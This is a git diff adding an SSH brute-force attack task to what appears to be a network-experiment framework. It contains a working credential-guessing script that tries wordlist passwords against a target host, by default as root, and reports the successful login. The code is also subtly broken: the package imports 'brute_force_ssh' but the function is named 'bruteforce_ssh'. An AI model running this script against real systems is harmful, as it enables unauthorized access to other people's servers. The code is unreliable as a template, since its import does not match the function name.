diff --git a/tasks/network_attacks/ssh/__init__.py b/tasks/network_attacks/ssh/__init__.py new file mode 100644 index 0000000..64a3aed --- /dev/null +++ b/tasks/network_attacks/ssh/__init__.py @@ -0,0 +1,29 @@ +from netunicorn.base.task import Task +from netunicorn.base import Failure, Result, Success +from .brute_force_ssh import brute_force_ssh + +class BruteForceSSH(Task): + requirements = ["pip install paramiko"] + + def __init__( + self, + targetIP: str, + wordlist: list, + port=22, + user="root", + *args, + **kwargs + ): + self.targetIP = targetIP + self.wordlist = wordlist + self.port = port + self.user = user + super().__init__(*args, **kwargs) + + def run(self): + return bruteforce_ssh( + host = self.targetIP, + port = self.port, + username = self.user, + wordlist = self.wordlist + ) diff --git a/tasks/network_attacks/ssh/brute_force_ssh.py b/tasks/network_attacks/ssh/brute_force_ssh.py new file mode 100644 index 0000000..81c2693 --- /dev/null +++ b/tasks/network_attacks/ssh/brute_force_ssh.py @@ -0,0 +1,28 @@ +import paramiko +from termcolor import colored # termcolor can be used to make text in terminal colorful! +from os import path # imported to check if workslist location does exist or not ! +from sys import exit # for exiting the program +from netunicorn.base import Failure, Result, Success +from netunicorn.base.task import Task + +def bruteforce_ssh(host, port, username, wordlist): + # creating a sshclient object with paramiko ! + ssh = paramiko.SSHClient() + # Configuring to auto add any missing policy if found + ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + for password in wordlist: + # print(password) + try: + # trying to connect + ssh.connect(host, port=port, username=username, + password=password, banner_timeout=800) + except: + print(f"[Attempt] target:- {host} - login:{username} - password:{password}") + else: + ssh.close() + return Success(f'Login successful: User - {username}, Password - {password}') + finally: + # After all the work closing the connection + ssh.close() + return Failure('No valid credentials found in wordlist') +